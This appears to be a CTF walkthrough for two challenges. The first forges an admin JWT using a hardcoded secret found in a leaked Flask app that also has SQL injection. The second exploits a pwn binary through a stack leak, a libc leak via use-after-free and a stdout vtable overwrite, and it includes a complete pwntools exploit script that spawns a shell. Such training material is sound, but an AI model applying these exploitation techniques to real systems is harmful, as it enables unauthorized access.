Opening the link will show us a simple admin login portal,
Let's try a simple directory bruteforcing to check if there are any hidden endpoints
So, the application is built using python & debug mode in enabled.
Checking the source code will reveal that, once we submit the username & password, it'll be sent to /api/v3/login
as JSON (like this {"uname":"tuhin1729","pwd":"r4nd0m_p4$$w0rd"}
). If the username & password matches with the database, it'll respond back with auth token & further send the auth token to /api/v3/validate
as JSON (possibly for validating the auth token).
Let's try to perform a directory bruteforcing at http://<IP>/api/v3/
We got a new endpoint /api/v3/signup
. Looks like the developer forgot to disable signup. Let's try to create a new account,
Now, let's attempt to log in and verify whether the account has indeed been created or not.
So, it's a JWT (JSON Web Token). We'll try to send the auth token to the endpoint /api/v3/validate
.
Cool! Now we've a proper understanding of the flow. From the description of the challenge, we can assume that we need to login as admin.
So let's try to create an account with the username admin
.
Let's try SQL Injection:
We've already discovered that debug mode is enabled, so let's try to generate some kind of errors, maybe the application will leak some sensitive information.
We can try to remove the pwd
parameter and see how the application reacts:
Cool! We got the error, now let's view the error in browser:
There is a stackoverflow link in the comment. Let's see what it is:
So, the developer of the application posted the source code (or part of the source code) in stackoverflow for fixing SQLi vulnerability. Here is the entire code:
1from flask import Flask, request, jsonify, render_template 2import hashlib 3import sqlite3 4import jwt 5 6app = Flask(__name__) 7 8secret = "$up3r_$3cur4_t0k3n" 9 10def check_username(username): 11 conn = sqlite3.connect('users.db') 12 cur = conn.cursor() 13 cur.execute(f"SELECT * FROM users WHERE username='{username}'") 14 res = cur.fetchone() 15 if res: 16 return True 17 18@app.route('/') 19def home(): 20 return render_template('index.html') 21 22@app.route('/api/v3/signup', methods=['POST']) 23def signup(): 24 username = request.json.get('uname') 25 password = request.json.get('pwd') 26 if check_username(username): 27 return jsonify({"message":"User already exists"}), 200 28 conn = sqlite3.connect('users.db') 29 cur = conn.cursor() 30 cur.execute(f"INSERT INTO users (username, password, isAdmin) VALUES ('{username}', '{hashlib.sha256(password.encode()).hexdigest()}', 0)") 31 conn.commit() 32 conn.close() 33 return jsonify({"message":"User Created Successfully."}), 200 34 35@app.route('/api/v3/login', methods=['POST']) 36def login(): 37 username = request.json.get('uname') 38 password = request.json.get('pwd') 39 conn = sqlite3.connect('users.db') 40 cur = conn.cursor() 41 cur.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{hashlib.sha256(password.encode()).hexdigest()}'") 42 res = cur.fetchone() 43 if not res: 44 return jsonify({"message":"Wrong Username/Password"}), 401 45 data = {"username":res[0], "isAdmin":res[2]} 46 jwt_data = jwt.encode(payload=data, key=secret) 47 return jsonify({"auth":jwt_data.decode()}), 200 48 49@app.route('/api/v3/validate', methods=['POST']) 50def validate(): 51 auth = request.json.get('auth') 52 data = jwt.decode(auth, key=secret, algorithms=['HS256', ]) 53 if data["username"] == 'admin' and data['isAdmin'] == True: 54 return jsonify({"message":f"Welcome admin! Hope you're okay."}) 55 else: 56 return jsonify({"message":f"Welcome {data['username']}!"}) 57 58if __name__ == '__main__': 59 app.run('0.0.0.0',8090, debug=True) 60
From here, we can see that the value of secret parameter $up3r_$3cur4_t0k3n
is used to sign the JWT. In case, they've not changed the secret in production, we can forge the JWT to login as admin. For this, we'll copy the JWT of our previous account & put it in jwt.io:
We'll change the
username
to admin
, isAdmin
to 1
and sign the token with the secret. Finally, we'll send it to the validate endpoint to get the flag:
Difficulty: Hard Points: 300 Category: pwn
The name of this challenge is related to the last month's pwn challenge Vaults(which got 0 solves), the challenge handouts included, an ELF binary, a libc.so.6,(later the Dockerfile was added too).
file
command:From running the command, we can deduce that this is a x64 binary, is dynamically linked meaning that the libc functions will be loaded at runtime.
checksec
This gives us further idea of the challenge - The binary is not PIE enabled, meaning the binary will always be loaded at a fixed virtual address in the memory( 0x400000 )
So firstly the binary prompts the user to enter some data to store in an extra space as a token of gratitude. Next we are presented with a menu with 4 options:
The vaults structure basically looks like as shown below:
1typedef struct Vault{ 2 3char crypt_key[8]; 4 5char comment[8]; 6 7char secret[8]; 8 9int age; 10 11char address[32]; 12 13int size; 14 15char stacks[64]; 16 17} vault; 18 19
Create(Vault)
Read/View(Vault)
Update(Key)
Delete(Vault)
So we have our basic CRUD operations in place. Let's check out what these look like in Ghidra.
Ghidra is an open source decompiler and disassembler, which provides us with a pseudo code in C/C++ or whichever language was detecting while analysing the binary, which is a close approximation of what the original code must have looked like.
The main function decompiled by Ghidra:
1undefined8 main(void) 2{ 3 4int iVar1; 5 6long in_FS_OFFSET; 7 8int local_cc; 9 10undefined local_c8 [184]; 11 12long local_10; 13 14local_10 = *(long *)(in_FS_OFFSET + 0x28); 15 16setup(); 17 18idx = -1; 19 20puts( 21 22"We are aware of the last month hack on Vaults Inc. and we would like to apologize with our wh ole heart,and we would like to provide you temporary extra storage as a token of apology." 23 24); 25 26read(0,local_c8,0xb0); 27 28_IO_getc(stdin); 29 30printf("Thankyou! We will keep it safe for some amount of time..."); 31 32do { 33 34iVar1 = menu(); 35 36if (iVar1 == 3) { 37 38update_key(); 39 40} 41 42else if (iVar1 < 4) { 43 44if (iVar1 == 1) { 45 46if ((idx < -1) || (3 < idx)) { 47 48puts("\\\\t\\\\n\\\\n***OUT OF STORAGE***\\\\n\\\\n"); 49 50} 51 52else { 53 54create_vault(); 55 56} 57 58} 59 60else if (iVar1 == 2) { 61 62view_vault(); 63 64} 65 66} 67 68else if (iVar1 == 4) { 69 70dlt_vault(); 71 72} 73 74else if (iVar1 == 0x1337) { 75 76b4ckd00r(); 77 78} 79 80} while (local_cc != 6); 81 82if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { 83 84return 0; 85 86} 87 88/* WARNING: Subroutine does not return */ 89 90__stack_chk_fail(); 91 92} 93 94
As we can see, some space is allocated on the stack of main (184 characters), and 0xb0 (176) characters are read from the user and stored in the buffer. Then we enter our menu loop.
Let's look at each of the menu functions one by one:
1void create_vault(void) 2{ 3 4char cVar1; 5 6int iVar2; 7 8long in_FS_OFFSET; 9 10uint local_74; 11 12int local_70; 13 14int local_6c; 15 16char *local_68; 17 18FILE *local_60; 19 20char local_58 [8]; 21 22byte local_50 [64]; 23 24long local_10; 25 26 27 28local_10 = *(long *)(in_FS_OFFSET + 0x28); 29 30do { 31 32printf("Enter the stack size: "); 33 34__isoc99_scanf(&DAT_004020f2,&local_74); 35 36getc(stdin); 37 38} while (local_74 < 0x80); 39 40local_68 = (char *)malloc((ulong)local_74); 41 42do { 43 44printf("Do you have any super secret information to store?:(y/n) "); 45 46iVar2 = getc(stdin); 47 48cVar1 = (char)iVar2; 49 50getc(stdin); 51 52if (cVar1 == 'y') break; 53 54} while (cVar1 != 'n'); 55 56if (cVar1 == 'y') { 57 58printf("Enter the super secret information: "); 59 60fgets(local_58,8,stdin); 61 62do { 63 64iVar2 = getc(stdin); 65 66if ((char)iVar2 == '\\\\n') break; 67 68} while ((char)iVar2 != -1); 69 70} 71 72puts("Demonstration of security at Vaults.inc"); 73 74*(uint *)(local_68 + 0x3c) = local_74; 75 76local_60 = fopen("/dev/urandom","rb"); 77 78local_6c = fileno(local_60); 79 80read(local_6c,local_50,8); 81 82memset(local_50 + 8,0x41,0x2f); 83 84local_50[55] = 0; 85 86printf("Before Encryption: %s\\\\n",local_50 + 8); 87 88for (local_70 = 0; local_70 < 0x30; local_70 = local_70 + 1) { 89 90local_50[(long)local_70 + 8] = local_50[(long)local_70 + 8] ^ local_50[local_70]; 91 92} 93 94local_50[55] = 0; 95 96printf("After encryption: %s\\\\n",local_50 + 8); 97 98read(local_6c,local_50,8); 99 100fclose(local_60); 101 102strncpy(local_68,(char *)local_50,8); 103 104strncpy(local_68 + 8,local_58,8); 105 106printf("Stack the vault $$$: "); 107 108read(0,local_68 + 0x40,0x40); 109 110printf("Enter a comment for your account keeper: "); 111 112read(0,local_68 + 0x10,8); 113 114puts("\\\\n\\\\t*** SUCCESSFULL ***\\\\n"); 115 116idx = idx + 1; 117 118*(char **)(vaults + (long)idx * 8) = local_68; 119 120if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 121 122/* WARNING: Subroutine does not return */ 123 124__stack_chk_fail(); 125 126} 127 128return; 129 130} 131
1void view_vault(void) 2{ 3 4long in_FS_OFFSET; 5 6int local_20; 7 8int local_1c; 9 10byte local_18 [8]; 11 12long local_10; 13 14 15 16local_10 = *(long *)(in_FS_OFFSET + 0x28); 17 18do { 19 20printf("Vault No.[0-4]: "); 21 22__isoc99_scanf(&DAT_004014b2,&local_20); 23 24_IO_getc(stdin); 25 26} while (local_20 < 0); 27 28} while (idx < local_20); 29 30puts("\\\\n\\\\t*** OPENING VAULT ***\\\\n"); 31 32for (local_1c = 0; local_1c < 8; local_1c = local_1c + 1) { 33 34local_18[local_1c] = 35 36*(byte *)(*(long *)(vaults + (long)local_20 * 8) + 0x10 + (long)local_1c) ^ 37 38*(byte *)(*(long *)(vaults + (long)local_20 * 8) + (long)local_1c); 39 40} 41 42printf("Encrypted secret: %8s\\\\n",local_18); 43 44printf("Comment to the account keeper: %8s\\\\n",*(long *)(vaults + (long)local_20 * 8) + 8); 45 46printf("Your stack: %s\\\\n",*(long *)(vaults + (long)local_20 * 8) + 0x40); 47 48if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 49 50/* WARNING: Subroutine does not return */ 51 52__stack_chk_fail(); 53 54} 55 56return; 57 58} 59
1void update_key(void) 2{ 3 4long in_FS_OFFSET; 5 6int local_2c; 7 8int local_28; 9 10int local_24; 11 12FILE *local_20; 13 14char local_18 [8]; 15 16long local_10; 17 18local_10 = *(long *)(in_FS_OFFSET + 0x28); 19 20do { 21 22do { 23 24printf("Vault No.[0-4]: "); 25 26__isoc99_scanf(&DAT_004020f2,&local_2c); 27 28} while (local_2c < 0); 29 30} while (idx < local_2c); 31 32local_20 = fopen("/dev/urandom","rb"); 33 34do { 35 36printf("How many bytes of key do you wish to update:(1-7) "); 37 38__isoc99_scanf(&DAT_004020f2,&local_28); 39 40} while (7 < local_28); 41 42local_24 = fileno(local_20); 43 44memset(local_18,0,8); 45 46read(local_24,local_18,(long)local_28); 47 48strcpy(*(char **)(vaults + (long)local_2c * 8),local_18); 49 50puts("Key updated successfully"); 51 52if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 53 54/* WARNING: Subroutine does not return */ 55 56__stack_chk_fail(); 57 58} 59 60return; 61 62} 63 64
There are also two very crucial functions: One is the win function named remote_debug which basically calls the /bin/sh system command. Another one is the b4ckd00r function, which provides us with very interesting write-what-where primitive, just before causing the program to exit.
1 2void b4ckd00r(void) 3{ 4 5long in_FS_OFFSET; 6 7int local_2c; 8 9long local_28; 10 11undefined8 local_20; 12 13long local_18; 14 15undefined8 local_10; 16 17 18 19local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); 20 21puts( 22 23"Congratulations on finding the b4ckd00r, The fools at Vaults Inc. think they can stop us, but it\\\\'s time for you to show them who is the l337 here....\\\\nYou will only need one bullet to br ing them down!" 24 25); 26 27printf("Enter the vault number..."); 28 29__isoc99_scanf(&DAT_004014b2,&local_2c); 30 31_IO_getc(stdin); 32 33printf("Enter the distance: "); 34 35__isoc99_scanf(&DAT_004014ca,&local_28); 36 37_IO_getc(stdin); 38 39printf("Chose your bullet: "); 40 41__isoc99_scanf(&DAT_004014e2,&local_20); 42 43_IO_getc(stdin); 44 45local_18 = *(long *)(vaults + (long)local_2c * 8); 46 47*(undefined8 *)(local_28 + local_18) = local_20; 48 49puts("Let\\\\'s see if you got that l337 in you ;)"); 50 51/* WARNING: Subroutine does not return */ 52 53exit(1); 54 55} 56
1void remote_debug(void) 2{ 3 4system("/bin/sh"); 5 6return; 7 8} 9
Now let us try to analyse the different vulnerabilities present in this binary.
The binary provides us with an option to store a secret in our vault. But if we chose 'n' as the option, then it still copies whatever the previous value it had on the stack in the area assigned to the variable, to the secret buffer in our vault.
1 2strncpy(local_68,(char *)local_50,8); 3 4strncpy(local_68 + 8,local_58,8); 5 6
Let's examine what this value is:
As we can see it is a stack address!! Thus we have got a stack address stored in our vault, but we can't simply view it by opening the vault, as it is encrypted with a key that has random bytes in it.
As you may have noticed, we have an option to update the key of a vault. This update logic is flawed, since it updates the key by copying the new key in the vault using the strcpy function, which also copies the trailing null byte. And we can also provide length of the key buffer to update. This will allow us to leak the secret byte by byte, as a byte XOR'ed with a null byte will give the original value of the byte itself.
For example when updating the first 2 bytes of the key:
The two bytes at the address stored in rsi will be copied along with the trailing null byte to the address stored in rdi after executing the strcpy function:
So now the encryption key contains a null byte. This will be XORed with the corresponding bit(3rd bit) of the secret(0xff) and we can see it in clear text! We can continue this process for other bits and retrieve the complete stack address.
Notice there is no check in the view function for checking if the vault is deleted or not? We can use this use-after-free read to leak the libc address! We just need to assign a large enough chunk to end up in unsorted bin after freeing, and it will obediently print out the libc leak in the comment to the accountant variable of the vault.
As we can see in the following screenshots.
After freeing the vault:
Ok... so we have a stack leak, libc leak, a way to overwrite 8 bits at any location we chose and a fixed offset to the libc, Naturally, the next question to ask is what should we overwrite?
The b4ckd00r function exits soon upon overwriting the bits at a specified address. How can we use it, if it is immediately calling exit() which will kill the program? Turns out, there are few functions related to file operations that get called during the exit of a program. To read about them, refer. This writeup will not be going in the depth of File Structure Programming, but the basic idea is to overwrite the vtable address in one of the _IO_2_1_stdout_, _IO_2_1_stdin_ or _IO_2_1_stderr_ structures to a location we can control and know the address to. The vtable is a jump table that contains addresses of functions used in file related operation, thus if we can forge a vtable and populate it with the address of remote_debug
then we can pwn the challenge, as the exit routine calls functions from the vtable, like setbuf, to perform cleanup.But it will jump toremote_debug
instead, once we overwrite the addess of vtable in one of those three structures. Since we have a stack leak, we should store this vtable in a variable on stack. Remember this at the beginning?
This is where we will store our forged vtable. and since we have a stack leak, we can easily calculate the address of this buffer on the stack. Then we just need to overwrite the _IO_2_1_stdout_->vtable (or any other standard file streams), to this address using the b4ckd00r function.
Fortunately, pwntools has a handy functions to create a fake vtable:
We can populate the functions of vtable using pwntools with the b4ckd00r function as follows:
1vtable=b"" 2 3for i in range(17): 4 5vtable+=p64(exe.symbols['remote_debug']) 6
The stack address of the temporary storage can be calculated by determining its offset from the stack address we leak by exploiting the weakness of encryption.
Therefore the calculated offset to the stack address is:
Now we just need to piece together all the different parts of the exploit to successfully get a shell!
1#!/usr/bin/env python3 2 3from pwn import * 4 5from binascii import hexlify 6 7exe = ELF("./chall_patched") 8 9libc = ELF("./libc.so.6") 10 11ld = ELF("./ld-2.23.so") 12 13 14 15context.binary = exe 16 17context.log_level='debug' 18 19 20 21def conn(): 22 23global r 24 25if args.LOCAL: 26 27r = process([exe.path]) 28 29if args.GDB: 30 31gdb.attach(r, ''' 32 33break *main+81 34 35 36 37''') 38 39else: 40 41r=remote("localhost",1337) 42 43return r 44 45r= conn() 46 47def sla(x,y): 48 49global r 50 51r.sendlineafter(x,y) 52 53 54 55def create(stack_size,stack_vault,comment,secret=b''): 56 57global r 58 59sla(b"Enter your choice: ",b"1") 60 61sla(b'Enter the stack size: ',str(stack_size).encode()) 62 63if secret: 64 65sla(b'Do you have any super secret information to store?:(y/n) ',b"y") 66 67sla(b'Enter the super secret information: ',secret) 68 69else: 70 71sla(b'Do you have any super secret information to store?:(y/n) ',b"n") 72 73sla(b'Stack the vault $$$: ',stack_vault) 74 75sla(b'Enter a comment for your account keeper: ',comment) 76 77 78 79def view_vault(vault_no): 80 81global r 82 83sla(b"Enter your choice: ",b"2") 84 85sla(b"Vault No.[0-4]: ",str(vault_no).encode()) 86 87 88 89r.recvuntil(b'Encrypted secret: ') 90 91secret=r.recvline()[:-1] 92 93r.recvuntil(b'Comment to the account keeper: ') 94 95comment=r.recvline()[:-1] 96 97r.recvuntil(b'Your stack: ') 98 99stack=r.recvline()[:-1] 100 101return (secret,comment,stack) 102 103 104 105def update_key(vault_no,length): 106 107global r 108 109sla(b'Enter your choice: ',b"3") 110 111sla(b"Vault No.[0-4]: ",str(vault_no).encode()) 112 113sla(b'How many bytes of key do you wish to update:(1-7) ',str(length).encode()) 114 115 116 117def dlt_vault(vault_no): 118 119global r 120 121sla(b"Enter your choice: ",b"4") 122 123sla(b"Vault No.[0-4]: ",str(vault_no).encode()) 124 125 126 127def main(): 128 129 130 131global r 132 133vtable=b"" 134 135# creating our fake vtable 136 137for i in range(17): 138 139vtable+=p64(exe.symbols['remote_debug']) 140 141 142 143sla(b"We are aware of the last month hack on Vaults Inc. and we would like to apologize with our whole heart,and we would like to provide you temporary extra storage as a token of apology.\n",vtable) 144 145r.sendline() 146 147r.sendline() 148 149print(vtable) 150 151 152 153#leaking the stack 154 155create(0x420,b'A'*60,b"A"*8) #idx=0 156 157leak = b"" 158 159for i in range(8): 160 161update_key(0,i) 162 163secret,_,_=view_vault(0) 164 165print(secret) 166 167secret=bytearray(secret) 168 169print(secret) 170 171leak += secret[i].to_bytes() 172 173leak = leak[:-2] 174 175 176 177leak=u64(leak.ljust(8,b"\x00")) 178 179print(f"[+] Leaked Stack: {hex(leak)}") 180 181forged_table = leak-0x1a0 182 183 184 185# creating remaining 4 chunks with one of the chunk in unsorted bin and one of the chunks mmaped and containing the forged vtable 186 187 188 189# Leaking libc 190 191create(0x420,b'A'*60,b'A'*8) # idx=1 192 193dlt_vault(0) 194 195leak,_,_ = view_vault(0) 196 197leak=u64(leak.strip(b'\\\\n').strip(b' ').ljust(8,b"\x00")) 198 199print("[+] Leaked Libc: ",hex(leak)) 200 201vtable_addr=leak+13956840 202 203print() 204 205#create a long chunk that gets mmaped 206 207create(10000000,b'A'*60,b'A'*8) #idx=2 208 209print("1") 210 211#leaking libc address 212 213create(0x420,b'A'*60,b'A'*8) 214 215 216 217sla(b"Enter your choice: ",b"4919") 218 219sla(b"Enter the vault number...",b"2") 220 221sla(b"Enter the distance: ",b'13956840') 222 223sla(b"Chose your bullet: ",str(forged_table).encode()) 224 225 226 227#forged vtable: 228 229# void * funcs[] = { 230 231 232 233# 1 NULL, // "extra word" 234 235 236 237# 2 NULL, // DUMMY 238 239 240 241# 3 exit, // finish 242 243 244 245# 4 NULL, // overflow 246 247 248 249# 5 NULL, // underflow 250 251 252 253# 6 NULL, // uflow 254 255 256 257# 7 NULL, // pbackfail 258 259 260 261# 8 NULL, // xsputn #printf 262 263 264 265# 9 NULL, // xsgetn 266 267# 10 NULL, // seekoff 268 269# 11 NULL, // seekpos 270 271 272 273# 12 NULL, // setbuf 274 275# 13 NULL, // sync 276 277 278 279# 14 NULL, // target location 280 281# 15 NULL, // read 282 283 284 285# 16 NULL, // write 286 287 288 289# 17 NULL, // seek 290 291 292 293# 18 pwn, // close 294 295 296 297# 19 NULL, // stat 298 299 300 301# 20 NULL, // showmanyc 302 303 304 305# 21 NULL, // imbue 306 307 308 309# }; 310 311 312 313r.interactive() 314 315 316 317if __name__ == "__main__": 318 319main() 320 321
The exploit runs successfully, and we get a shell!
Hope you liked both challenges. Happy hacking!
May Mayhem - Walkthrough
creating our fake vtable
creating remaining 4 chunks with one of the chunk in unsorted bin and one of the chunks mmaped and containing the forged vtable
Leaking libc
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // target location
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};